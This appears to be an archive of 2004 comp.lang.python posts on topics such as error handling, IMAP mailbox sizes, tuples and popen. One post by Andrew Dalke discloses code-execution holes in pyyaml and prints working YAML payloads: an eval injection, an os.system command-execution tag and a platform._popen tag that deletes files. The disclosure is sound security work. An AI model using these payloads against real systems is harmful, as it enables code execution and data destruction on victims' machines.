>the reading and writing is done all over the place. If I really wanted to
>do it "right", my once clear and readily understandable code turns into a
>nightmare. This doesn't look like the language I love for its clarity and
>expressivness any more. Python, being a very high level language, needs a
>higher level file type, IMHO. This is, of course, much easier said than
>done. And renown dimwits like me aren't expected to come up with solutions.
>I've thought about subclassing file, but to me it looks like it wouldn't
>help much. With all this try/except framing you need to insert a call
>level anyway (wondering if this new decorator stuff might help?). The best
>I've come up so far is a vague idea for an error callback (if there isn't
>one, the well known exceptions might be raised) that gets called for
>whatever error occured, like:
>
>class File:
>    ...
>    def write(self, data):
>        while True:
>            try:
>                self._write(data)
>            except IOError, e:
>                if self.errorcallback:
>                    ret, dat = self.errorcallback(self, F_WRITE, e, data)
>                    if ret == F_RETURN:
>                        return dat
>                else:
>                    raise
>
>The callback could then write a nice error message, abort the program,
>maybe retry the operation (that's what the 'while True'-loop is for) or
>return whatever value to the original caller. Although the callback
>function will usually be more than a few lines, it can be reused. It can
>even be packed into your own file-error-handling module, something the
>original usage pattern can't.
>  
>
Hmmm....interesting.  Shouldn't you put a break after your 
self._write(data)?  This is probably not a bad way of going about 
things, but what types of files are we talking about here?  Log files?  
I think you're probably better off using the builtin logging and just 
dump raw tracebacks in there.  Data files?  Then you've probaby got that 
wrapped in code to write formatted data to the data file anyway in which 
case, this type of specialized class is probably not a bad thing.  If 
you're trying to write data to a data file, you don't want litter it 
with error messages.  You want to log it and, maybe even unlink the data 
file and do something special.

>If you still bear with me, you might as well sacrifice a few more seconds
>and tell me what you think about my rant. Is everything just fine as it is
>now? Or do I have a point? I always felt it most important to handle all
>errors a program may encounter gracefully, and the easier this is to do,
>the less likely it is a programmer will just sneak around the issue and
>let the interpreter/run time system/operating system handle it. (And yes,
>I'm guilty of not obeying it myself, as it can double or triple the time
>needed to write the whole program; just because its so cumbersome.)
>
>  
>
I dunno - something just doesn't feel right here.  I kinda feel like 
you're wanting to create an over-generalized solution.  Your File class 
is interesting and may be a good start for a lot of general solutions 
and having a callback mechanism helps specialize it, but....something 
just doesn't sit totally right here with me.  This may work totally 
perfectly and may be an excellent piece of code to handle all of your 
file writing activities.  I dunno....

You're not going to be able to catch every exception - not meaningfully, 
anyway.  You could do something like:

if __name__ == "__main__":
    try:
        main()
    except Exception, e:
        log(e)

But that isn't handling all errors....

Production quality code doesn't necessarily mean never terminating 
because of an exception.  You want to reduce the frequency of program 
termination due to exceptions.  I can appreciate your desire to make 
sure you've got good solid software, and not encumber the end user with 
ever little exception you hit, but sometimes it's OK to log/show 
exceptions.  Like I said earlier, when you hit an exception, you hit it 
for a reason.  Do your best to try to figure out what that reason is, 
deal with it, figure out the most reasonable thing to do with _that_ 
exception, and move on.  Sometimes that'll mean throwing a traceback to 
a log file, sometimes it will mean handling it gracefully and "prettying 
up" the message for logging or display to the end user, sometimes it 
will mean totally ignoring it, other times you may need to just stop the 
program.  All of these resolutions can be part of a production quality 
piece of software.  The discerning programmer has to decide which 
solution is appropriate for which situation.  Like Steve Holden 
mentioned, it's really good that you're concerned with such things, but 
make sure you apply common sense to each scenario.

>Waiting-for-you-to-jump-on-me'ly yours,
>Hans-Joachim
>  
>
Hope I didn't jump too hard.

Jeremy Jones


From Chris.Barker at noaa.gov  Wed Sep 29 15:22:52 2004
From: Chris.Barker at noaa.gov (Christopher Barker)
Date: Wed, 29 Sep 2004 12:22:52 -0700
Subject: annoying behavior
In-Reply-To: <653b7547.0409281915.5ff0d92e@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>	<41599BD7.7040809@bellsouth.net>
	<mailman.4029.1096404065.5135.python-list@python.org>
	<653b7547.0409281915.5ff0d92e@posting.google.com>
Message-ID: <cjf409$4ev$1@news.nems.noaa.gov>

Patrick Maupin wrote:
> But, in Python, instances are "open".  This means that I can add
> attributes to a class instance at _any_ time 

Just to make it really clear what Patrick is saying:

#!/usr/bin/env python2.3

class foo:
     def __init__(self, host):
         self.f()
         self.r = True

     def f(self):
         if self.r:
             print "r is True"
         else:
             print "r is not True"


# now I'll add foo.r, before initialization:
foo.r = False

f = foo("1234")


and this runs just fine:

junk $ ./junk.py
r is not True

If you don't want a dynamic language, don't use Python!

-Chris


-- 
Christopher Barker, Ph.D.
Oceanographer
                                     		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker at noaa.gov


From adalke at mindspring.com  Mon Sep 20 02:24:33 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 20 Sep 2004 06:24:33 GMT
Subject: PyYaml?
In-Reply-To: <uCo3d.4230$4j1.460@trndny06>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05>
	<4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>
	<uCo3d.4230$4j1.460@trndny06>
Message-ID: <BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>

[Long post.  Summary is I've found three exploits in
pyyaml and at least five limitations w.r.t. the existing
Python pickles.  I DO NOT recommend anyone use pyyaml
when the input comes from untrusted code.

REPEAT: pyyaml allows ARBITRARY CODE TO BE EXECUTED.]

Me:
 >> Here's a test.  Can you do the following in YAML and do
 >> so securely?  (Untested code.)

Chris S. wrote:
> Conceptually, yes. That code would work fine with a full YAML 
> implementation. Admittedly, the current pure-Python implementation is 
> not yet complete. I didn't mean to imply that the current YAML 
> implementations were drop-in replacements for Pickle, only that the 
> concept of YAML is deserving of more attention.

This original thread started with you asking:
 > Is there any benefit to Pickle over YAML?

You have since distinguished between two YAMLs, the conceptual
one and the concrete one.

If it's the latter then the answer we've made several times
is that YAML as currently implemented is not able to replace
pickle.  You here agree with us.

Let's suppose YAML-the-concept was implemented.  That's
going to call for a lot of work so that the implementation
meets the concept, and well beyond what's been done so far.

For example, to be a viable pickle replacement will require
a C implementation because the performance is important.
The pure Python version "pickle.py" wasn't fast enough so
Someone (Jim Fulton, as I recall) contributed cPickle.

You'll also need a non-recursive implementation.  Here's
a test with the pyyaml version I just got from svn using
a very deep data structure.  It hits Python's recursion
limit:

 >>> x = ()
 >>> for i in range(600):
...   x = (x,)
...
 >>> import yaml
 >>> import cPickle
 >>> yaml.dump(x)
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "yaml/dump.py", line 18, in dump
     return Dumper().dump(*data)
   File "yaml/dump.py", line 43, in dump
     self.dumpDocuments(data)
   File "yaml/dump.py", line 61, in dumpDocuments
     self.dumpData(obj)
   File "yaml/dump.py", line 90, in dumpData
    .....
     self.dumpList(data)
   File "yaml/dump.py", line 138, in dumpList
     self.indentDump(item)
   File "yaml/dump.py", line 67, in indentDump
     self.dumpData(data)
RuntimeError: maximum recursion depth exceeded
 >>> cPickle.dumps(x)
'(((((((  ... many characters deleted ...tp331\ntp332\ntp333\n.'
 >>>

It doesn't handle tuples, only lists

 >>> print yaml.load(yaml.dump( (1,2,3) )).next()
[1, 2, 3]
 >>>


I see it doesn't handle Unicode correctly.  Here
it doesn't round-trip a Unicode character back to
Unicode.

 >>> s = unicode("\xfe", "latin1")
 >>> s
u'\xfe'
 >>> print s.encode("utf8")  # Should be a thorn character
?
 >>> x= iter(yaml.load(yaml.dump(s))).next()
 >>> x
'\xfe'
 >>>

Digging deeper into the YAML implementation I see
it really doesn't handle Unicode correctly -- there's
even a *MAJOR* security hole.  Watch this.  I'll
start with a hand-crafted YAML file and read it.

% cat test.yaml
--- "\u000a"+' '.join(__import__('os').listdir('.')) + ""
% python
Python 2.4a2 (#1, Aug 29 2004, 22:30:12)
[GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
 >>> import yaml
 >>> yaml.loadFile("test.yaml")
<yaml.load.Parser instance at 0x69a58>
 >>> _.next()
u'\n.svn assets docs examples experimental patches README scripts 
setup.py test.yaml TESTING yaml'
 >>>

See how it eval'ed the embedded and artibrary
Python code in the string it thought was Unicode?
That's because the code in implicit.py doesn't fully
verify the string before eval'ing it, in

     if val[0] == '"' and val[-1] == '"':
         if re.search(r"\u", val):
             val = "u" + val
         unescapedStr = eval (val)


This code is also suspect, from klass.py

def makeClass(module, classname, dict):
     exec('import %s' % (module))
     klass = eval('%s.%s' % (module, classname))
     obj = new.instance(klass)
     if hasMethod(obj, 'from_yaml'):
         return obj.from_yaml(dict)
     obj.__dict__ = dict
     return obj


Yep, here's an exploit against it.  The chr(32) is needed because
there's some sort of split on space upstream so I can't embed
spaces directly.  But I can construct them so this shows that
I can pass arbitrary commands to the shell.  (Note: the s= ...
assignment is all on one line.)

 >>> s = """--- !!os;os.system("ls"+chr(32)+"-l"+chr(32)+"/");1.2 {}\n\n"""
 >>> import yaml
 >>> yaml.load(s).next()
total 326905
drwxrwxr-x  51 root   admin       1734 12 Sep 19:16 Applications
drwxrwxr-x  21 root   admin        714 21 Jun  2003 Applications (Mac OS 9)
lrwxr-xr-x   1 root   admin         15 17 Feb  2003 Desktop (Mac OS 9) 
rebuild
    ... many lines delete ...
drwxr-xr-x  12 root   wheel        408 12 Sep  2003 usr
lrwxr-xr-x   1 root   admin         11 14 Feb  2004 var -> private/var
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "yaml/load.py", line 83, in next
     return self.parse_value(indicator)
   File "yaml/load.py", line 168, in parse_value
     value = self.parse_unaliased_value(value)
   File "yaml/load.py", line 179, in parse_unaliased_value
     return self.typeResolver.resolveType(value, url)
   File "yaml/klass.py", line 12, in resolveType
     return makeClass(moduleName, className, data)
   File "yaml/klass.py", line 16, in makeClass
     klass = eval('%s.%s' % (module, classname))
   File "<string>", line 1
     os;os.system("ls"+chr(32)+"-l"+chr(32)+"/");1.2
       ^
SyntaxError: invalid syntax
 >>>

Note that I was able to generate the os.system call
before the SyntaxError.

Here's another exploit.  It's a variation of the "delete
an arbitrary file" example I posted that you replied could
be made secure "conceptually".  It works because the
platform._popen class deletes the temporary file on __del__.

[Andrew-Dalkes-Computer:~/cvses/pyyaml/trunk] dalke% cat rmfile.yaml
--- !!platform._popen
bufsize: ~
mode: r
pipe: ~
tmpfile: delete_this_file.txt

% ls -l delete_this_file.txt
-rw-r--r--  1 dalke  staff  28 19 Sep 23:00 delete_this_file.txt
% python
Python 2.4a2 (#1, Aug 29 2004, 22:30:12)
[GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
 >>> import yaml
 >>> yaml.loadFile("rmfile.yaml").next()
<platform._popen instance at 0x8b940>
 >>> ^D
% ls -l delete_this_file.txt
ls: delete_this_file.txt: No such file or directory
%



Oh, and I already mentioned that you need support
for __slots__.  It also looks like pyyaml doesn't support
classes derived from builtins, as in

 >>> class MyList(list):
...     def blah(self): print "blah blah"
...
 >>> x=MyList([1,3,5])
 >>> x
[1, 3, 5]
 >>> x.blah()
blah blah
 >>> print yaml.dump(x)
--- [1, 3, 5]
 >>> yaml.load(yaml.dump(x)).next()
[1, 3, 5]
 >>> yaml.load(yaml.dump(x)).next().blah()
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
AttributeError: 'list' object has no attribute 'blah'
 >>>

Because YAML the implementation is so far from YAML
the concept, and YAML the implementation is at least
as insecure as pickle, why should we look at YAML
any further?

In fact, I wouldn't even use pyyaml now for any of
my projects knowing just how insecure it is.


 > Given that Pickle is insecure, wouldn't it make
 > more sense to support a secure serialization format,
 > one that's even readable to boot, such as YAML?

Again, please tell me how you can have a "secure
serialization format" which prevents my "__del__
calls os.unlink on arbitrary filename" attack.  You've
said it's possible in the abstract.  The only way
I know is to register the classes that are safe
to deserialize.  But pickles already allow that.

So how would YAML-the-conceptual be any more
secure than pickles as they've existed for years?

And how long would it be until YAML-the-implementation
hopes to be comparable to pickles for both speed
and security?

For that matter, why doesn't pyyaml use the existing
protocol in Python to ask an instance for how to
serialize itself?  Why does it need to define a new one?

Finally, you said

 > the concept of YAML is deserving of more attention.

What is the concept?  Why is it more deserving
than, say, XML-RPC encoding, or SOAP's, or CORBA's
serialization, or David Mertz' xml_pickle, or
Twisted's jelly, or any of a dozen other
serializations?

  - it's not as fast, nor as small as a binary pickle
      done with cPickle
  - it doesn't understand tuples vs. lists
  - it doesn't have the buzz of XML (and XML
      advocates also claim readability)
  - it doesn't have jelly's upversioning support (when
      I looked at it, Twisted allowed classes to
      describe how to upgrade older pickles to conform
      with changes in the class)
  - it doesn't have the validation tools that CORBA
      has to ensure that received data fields are at
      least the correct types

Some are limitations of the implementation, but the
bar is pretty high so it's up to the advocates (and
of the years YAML's been about you're the first I've
seen) to prove it's deserving.

				Andrew
				dalke at dalkescientific.com


From nemesis at nowhere.invalid  Wed Sep  8 14:40:09 2004
From: nemesis at nowhere.invalid (Nemesis)
Date: Wed, 08 Sep 2004 18:40:09 GMT
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
	<chh9lt$imf$1@e3k.asi.ansaldo.it>
	<1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com>
	<chhjg9$dqc$1@e3k.asi.ansaldo.it>
	<1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com>
	<chjl7n$lv2$1@e3k.asi.ansaldo.it>
	<1gjqq26.1ls8gov4pbu4fN%aleaxit@yahoo.com>
Message-ID: <tugnhc.ab2.ln@orion.homeinvalid>

Mentre io pensavo ad una intro simpatica "Alex Martelli" scriveva:

>> > Your choice is then to either upgrade to a better browser (IE has been
>> > stagnant in features for years, resting on its laurels) or to drive IE
>> > more intimately and "proprietarily" -- with win32com you can probably
>> > make it turn somersaults, although your hair will whiten considerably
>> > while you learn how to do so.
>> Actually I use Firebird ;-)
> Nice database engine, but not much of a browser.  Maybe you mean
> Firefox;-?

You are right, but once Firefox was called Firebird, and before that it
was called Phoenix :-)

>> I'm studying this syntax in order to implement it in XPN, the newsreader
>> I'm writing. I'd like to use it when the article has a 
>> "Followup-To: poster". 
>> So I need a simple and multiplatform solution.
>> However I found that I can use an encoded form of the newline (%0A) that
>> works with IE (I haven't tried yet with different browsers).I think I'll
>> use the urllib.quote function in order to obtain this coding.
> Sounds sensible, offhand.

I changed my mind of course :-D
Now I'm working to implement a simple mail support in XPN using smptlib.
:-)

-- 
Tutti possono vincere, sempreche' non esista un secondo posto.
 
 |\ |       |HomePage   : http://nem01.altervista.org
 | \|emesis |XPN (my nr): http://xpn.altervista.org



From peter at engcorp.com  Tue Sep  7 22:08:21 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Sep 2004 22:08:21 -0400
Subject: In search of idiom in py2exe
In-Reply-To: <dqosj0hd4lav7v6s2gr6achvg3ig476chk@4ax.com>
References: <dqosj0hd4lav7v6s2gr6achvg3ig476chk@4ax.com>
Message-ID: <UpydnTXqFoaH9KPcRVn-iQ@powergate.ca>

David wrote:
> In many of my scripts I've used the following idiom for accessing data
> files placed nearby:
...
> Can anyone recommend an idiom that will work with py2exe?

Do the last few posts to the following thread help you?  It
was an attempt to find "the" idiomatic way to find the
directory of the main script, whether running normally or
with py2exe.

http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com

-Peter


From nem at nowhere.invalid  Mon Sep  6 08:00:09 2004
From: nem at nowhere.invalid (Nemesis)
Date: 6 Sep 2004 12:00:09 GMT
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
	<chh9lt$imf$1@e3k.asi.ansaldo.it>
	<1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com>
Message-ID: <chhjg9$dqc$1@e3k.asi.ansaldo.it>

"Alex Martelli" wrote:

[mailto trick]
>> How can I use this syntax in order to specify also the body of the
>> mail?
> Study the mailto: syntax on any HTML reference, e.g.
> http://docs.intellifuzz.com/readmore.php?p=39

Thank you for the link.
I tried that syntax, but it seems that Internet Explorer
doesn't support multiline bodies :-/

-- 
XPN :: http://xpn.altervista.org



From peter at engcorp.com  Fri Sep 24 09:13:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 09:13:51 -0400
Subject: Python GUI, which one?
In-Reply-To: <mailman.3841.1096027498.5135.python-list@python.org>
References: <mailman.3841.1096027498.5135.python-list@python.org>
Message-ID: <Y5OdnbGC-vMNgMncRVn-iQ@powergate.ca>

Sells, Fred wrote:
> I see there are several different choices for Python GUI API's.  
> 
> Is there any indication of which ones are 
> 1. the most commonly used?
> 2. the most reliable?
> 3. the most robust?

Yes, and not only will Googling the list archives using
Google Groups give you lots of answers to similar questions,
but in addition using Google for the web will bring up
dozens of useful web pages answering just those sorts of
questions.

It would also help, if you want custom answers, to explain
what you mean by reliable and robust.  I know what *I* mean
by them, but you're not me... ;-)

-Peter


From simoninusa2001 at yahoo.co.uk  Wed Sep  1 14:23:08 2004
From: simoninusa2001 at yahoo.co.uk (Simon John)
Date: 1 Sep 2004 11:23:08 -0700
Subject: XML documentation stinks - help?
In-Reply-To: <CeqdnQhQIouqkqvcRVn-pg@speakeasy.net>
Message-ID: <ch542c$sdj@odah37.prod.google.com>

Ah, I've got it now, I've basically managed to duplicate the way the
event-based XML::Parser Perl module works - you don't need to know the
tags and it builds a hash/dictionary (excuse Google removing the
formatting):

from xml.sax import ContentHandler, parseString

xmlsource = """<session_service>
<session_id>abcdefg123456</session_id>
<start_date>7/2/1978</start_date>
<end_date>7/2/2004</end_date>
<username>joe_bloggs</username>
<admin_flag>1</admin_flag>
</session_service>
"""

# create dictionary for results
global xml_data
xml_data = {}

class docHandler(ContentHandler):
"""overload contenthandler"""
def startElement(self, tag, attrs):
# start handler
self.tag = tag

def characters(self, chars):
# char handler - ignore whitespace
if chars.strip() != "":
xml_data[self.tag] = chars

# create instance of handler class
handler = docHandler()

# parse the xml
parseString(xmlsource, handler)

# loop through dictionary outputting results
for name, value in xml_data.iteritems():
    print name, ":", value



From pink at odahoda.de  Sun Sep  5 08:37:31 2004
From: pink at odahoda.de (Benjamin Niemann)
Date: Sun, 05 Sep 2004 14:37:31 +0200
Subject: Tuple question
In-Reply-To: <roy-FE1D07.08200705092004@reader1.panix.com>
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
Message-ID: <chf1e4$u84$03$1@news.t-online.com>

Roy Smith wrote:
> "Donn Cave" <donn at drizzle.com> wrote:
> 
>>I expect it's used relatively infrequently, and for different
>>reasons.  "if len(info) == 5", for example - just from that
>>line from a relatively popular Python application, would you
>>guess info is a list, or a tuple?
> 
> 
> I'd guess it was something which had a __len__ method.
> 
> 
>>Maybe the problem is that tuples have too many features already.
>>It's sort of silly that they're indexed by number, and if that
>>weren't allowed, we would find fewer people trying to make lists
>>of them.
> 
> 
> If tuples weren't indexed, the only way you'd be able to access the 
> elements would be to unpack them, which would be rather inconvenient.  
> Unless of course you had an alternate way to name the elements, but if 
> you're going to allow named element access, and forbid indexed access, 
> then you might as well just create a normal class instance.
> 
> The more I look into this, the more I realize just how inconsistent the 
> whole thing is.
> 
> For example, tuples can be used as dictionary keys because they are 
> immutable.  Or so it's commonly said.  But, that's not true.  The real 
> reason they can be used as keys is because they're hashable.  If you try 
> to use a list as a key, it doesn't complain that it's immutable, it 
> complains that it's unhashable:
> 
> 
>>>>d = {}
>>>>d[[1, 2]] = 3
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: list objects are unhashable
> 
> Furthermore, regular objects can be used as keys, even though they *are* 
> mutable.  You can do this:
> 
> class data:
>     pass
> 
> key = data ()
> key.x = 1
> key.y = 2
> 
> d = {}
> d[key] = None
> 
> dictKey = d.keys()[0]
> print dictKey.x, dictKey.y
> 
> key.x = 42
> dictKey = d.keys()[0]
> print dictKey.x, dictKey.y
> 
> If a mutable class instance object can be used as a dictionary key, then 
> I don't really see any reason a list shouldn't be usable as a key.  How 
> is a class instance's mutability any less of disqualifier for key-ness 
> than a list's mutability?
> 
> And, once you allow lists to be keys, then pretty much the whole raison 
> d'etre for tuples goes away.  And if we didn't have tuples, then we 
> wouldn't have to worry about silly syntax warts like t = (1,) to make a 
> 1-tuple :-)

A very handy feature of lists is:

a = [1, 2, 3]
b = [1, 2, 3]
if a == b:
	print "List equality is based on content"

while:

a = data()
a.x = 42
b = date()
b.x = 42
if a != b:
	print "Other objects have an identity that is independent of\
content"

This special behaviour of lists is implemented by implementing the 
__eq__ method. Objects with non-standard __eq__ usually don't have the 
expected behaviour when used as keys:

a = [1, 2, 3]
b = [1, 2, 4]
d = {}
d[a] = "first"
d[b] = "second"
a[2] = 4
b[2] = 3
print d[[1, 2, 3]]

Which result would you expect here?


From stanb45 at dial.pipex.com  Sat Sep  4 04:23:17 2004
From: stanb45 at dial.pipex.com (Stan Barr)
Date: 04 Sep 2004 08:23:17 GMT
Subject: Xah Lee's Unixism
References: <10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<uoeknqbo0.fsf@mail.comcast.net> <opsdrujag8pqzri1@mjolner.upc.no>
	<uhdqfq7yv.fsf@mail.comcast.net>
	<VD7_c.286674$eM2.270304@attbi_s51>
Message-ID: <slrncjiukd.9mi.stanb45@citadel.metropolis.local>

On Sat, 04 Sep 2004 00:04:05 GMT, Larry Elmore <ljelmore_ at _comcast_._net> wrote:
>No, but some Liberty ships built in WWII, welded together from pre-fab 
>sections, literally broke in half when the welds failed (IIRC, in very 
>cold water like the Barents sea).

Yep, the welding changed the structure of the steel and an unfortunately
placed hatch coaming created a high stress point.  The cold made the
weld brittle and it cracked.

>The problem was fixed by welding large 
>reinforcing "patches" on either side of the weak point in the hull.

That was a temporary solution, they later designed a re-inforced hatch
setup IIRC.

The ship was basically an 1880s British design not originally intended 
to be welded up out of pre-fabricated bits :-)

-- 
Cheers,
Stan Barr     stanb .at. dial .dot. pipex .dot. com
(Remove any digits from the addresses when mailing me.)

The future was never like this!


From winexpert at hotmail.com  Thu Sep 23 12:22:08 2004
From: winexpert at hotmail.com (David Stockwell)
Date: Thu, 23 Sep 2004 16:22:08 +0000
Subject: incrementing a time tuple by one day
Message-ID: <BAY2-F3322ZhCl8aii00001a88c@hotmail.com>

I'm sure this has been asked before, but I wasn't able to find it.

First off I know u can't change a tuple but if I wanted to increment a time 
tuple by one day what is the standard method to do that?

I've tried the obvious things and haven't gotten very far.

I have a time tuple that was created like this:
aDate = '19920228'
x = time.strptime(aDate,"%Y%m%d")
print x
(1992, 2, 28, 0, 0, 0, 4, 59, -1)

y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0))
print y
1643277600.0
print time.ctime(y)
'Thu Jan 27 05:00:00 2022'

It appears to have decremented by a day and a month instead of increment.

What am I doing wrong?

Thanks




David
-------
Surf a wave to the future with a free tracfone 
http://cellphone.duneram.com/index.html

_________________________________________________________________
Check out Election 2004 for up-to-date election news, plus voter tools and 
more! http://special.msn.com/msn/election2004.armx



From valinor at linuxmail.org  Tue Sep 14 08:31:42 2004
From: valinor at linuxmail.org (foten)
Date: 14 Sep 2004 05:31:42 -0700
Subject: IMAP - get size of mailboxes
References: <cf4db78a.0409100420.58efa003@posting.google.com>	<cf4db78a.0409130707.6b1a801a@posting.google.com>
	<mailman.3239.1095092116.5135.python-list@python.org>
Message-ID: <cf4db78a.0409140431.41e47164@posting.google.com>

Jeff Epler <jepler at unpythonic.net> wrote in message news:<mailman.3239.1095092116.5135.python-list at python.org>...
> I played with imaplib a bit, and I think you want to use something like
>     # Find the first and last messages
>     m = [int(x) for x in msg[0].split()]
>     m.sort()
>     message set = "%d:%d" % (m[0], m[-1])
> 
>     # Get the RFC822.SIZE for each message
>     result, sizes response = M.fetch(message set, "(UID RFC822.SIZE)")
> .. and parse sizes response which looks like this:
>     >>> for i in range(10): print sizes response[i]
>     ... 
>     1 (UID 1 RFC822.SIZE 889)
>     2 (UID 3 RFC822.SIZE 3386)
>     3 (UID 4 RFC822.SIZE 2629)
>     4 (UID 5 RFC822.SIZE 989)
>     5 (UID 6 RFC822.SIZE 1566)
>     6 (UID 7 RFC822.SIZE 1591)
>     7 (UID 8 RFC822.SIZE 1894)
>     8 (UID 9 RFC822.SIZE 1546)
>     9 (UID 10 RFC822.SIZE 1372)
>     10 (UID 11 RFC822.SIZE 917)
> 
> Jeff
> 
> --

Thanx for your help! I think I have it working now. The speed is not bad at all.

//Fredrik

import sys, os, string, imaplib, getpass

imap_server = "myserver.com"

# Open a connection to the IMAP server
M = imaplib.IMAP4(imap_server)
M.login(getpass.getuser(), getpass.getpass())

# The list of all folders
result,list = M.list()

print "%-30s%5s%10s\n" % ("Folder", "# Msg", "Size")

number_of_messages_all = 0
size_all = 0

for item in list[:]:
    x = item.split()
    mailbox = string.join(x[2:])    

    # Select the desired folder
    result, number_of_messages  = M.select(mailbox, readonly=1)
    number_of_messages_all += int(number_of_messages[0])

    size_folder = 0
    # Go through all the messages in the selected folder
    typ, msg = M.search(None, 'ALL')
    # Find the first and last messages
    m = [int(x) for x in msg[0].split()]
    m.sort()
    if m:
        message_set = "%d:%d" % (m[0], m[-1])
        result, sizes_response = M.fetch(message_set, "(UID RFC822.SIZE)")
        for i in range(m[-1]):
            tmp = sizes_response[i].split()
            size_folder += int(tmp[-1].replace(')', ''))
    else:
        size_folder = 0
    print "%-30s%5d%10s" % (mailbox, int(number_of_messages[0]), size_folder);
    size_all += size_folder

print "\n%-30s%5i%10.3f MB\n" % ("Sum", number_of_messages_all, size_all/1e6)

# Close the connection
M.logout()



Result:
Folder                        # Msg      Size

Outbox                            0         0
Journal                           0         0
Drafts                           10     54245
Notes                            20     13265
PocketMirror                      1       500
"Sent Items"                    342   7054846
...
Sum                            3115    43.341 MB


From hat at se-126.se.wtb.tue.nl  Tue Sep 28 06:33:31 2004
From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp)
Date: Tue, 28 Sep 2004 10:33:31 +0000 (UTC)
Subject: Trouble with popen2
References: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu>
	<RLZ5d.7$Za.3@llslave.llan.ll.mit.edu>
	<0RZ5d.8$Za.5@llslave.llan.ll.mit.edu>
Message-ID: <slrncliffq.j1m.hat@se-126.se.wtb.tue.nl>

On Mon, 27 Sep 2004 15:27:56 -0400, Rembrandt Q Einstein <hercules.rockefeller at springfield.??.us> wrote:
>> The challenge is to write a program that will run this one in a 
>> subprocess and read all of both stderr and stdout.
> 
> Ah--despite my new nick, I am an idiot.  I should just use select() on 
> fromchild and childerr.  Something like this:
> 
> while f.poll() == -1:
>    select([], [f.fromchild, f.childerr],[], 0)
>      blah
> 
> However, I think I might still miss some data this way.

Nope, this should work, assuming that you catch the output of select,
and act accordingly.
(at least, that is my experience)

Not sure why you need the f.poll() though, I think you can do without.



Maybe an extension to the documentation of popen would be in order, this
post pops up quite often here.

-- 
Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.


From mefjr75 at hotmail.com  Sun Sep 12 10:25:10 2004
From: mefjr75 at hotmail.com (M.E.Farmer)
Date: 12 Sep 2004 07:25:10 -0700
Subject: 'telegraphy' as a means of data entry
References: <QOK0d.394968$gE.276141@pd7tw3no>
	<8YGdnbbBS6xILt7cRVn-iA@powergate.ca>
	<llT0d.382584$M95.334812@pd7tw1no>
Message-ID: <18282ecb.0409120625.21829f3e@posting.google.com>

> Just when the window is active.
On windows use msvcrt module and on unix curses should do it.
They both have a getch() function.
    http://effbot.org/zone/librarybook/platform-specific-modules.pdf
HTH, 
    M.E.Farmer


From peter at engcorp.com  Sat Sep 25 00:58:38 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Sep 2004 00:58:38 -0400
Subject: XSLT and client cache
In-Reply-To: <4c900ea0.0409242018.2a4f38@posting.google.com>
References: <4c900ea0.0409232256.5a90ea09@posting.google.com>
	<pbadnZTDHOjUYs7cRVn-jg@powergate.ca>
	<4c900ea0.0409242018.2a4f38@posting.google.com>
Message-ID: <g_GdnVReza2fZsncRVn-sg@powergate.ca>

john wrote:
> But how can I determine whether the XSLT document is already present
> in client cache??

You cannot.  Have you read about how caches function?  The
best you can hope to do is to ask the client to reload
the document, either by marking it as non-cachable or by
indicating that it has changed since the last time the
browser tried to load it, using the last-changed header.

And even then, the browser is free not to reload it again
if it doesn't want.  Heck, a user can configure the browser
not even to *check* whether the file should be reloaded,
in some cases.

What are you trying to do that you think you need to
know whether a client cache contains a document?

-Peter


From jarrodhroberson at yahoo.com  Sat Sep 18 17:51:18 2004
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
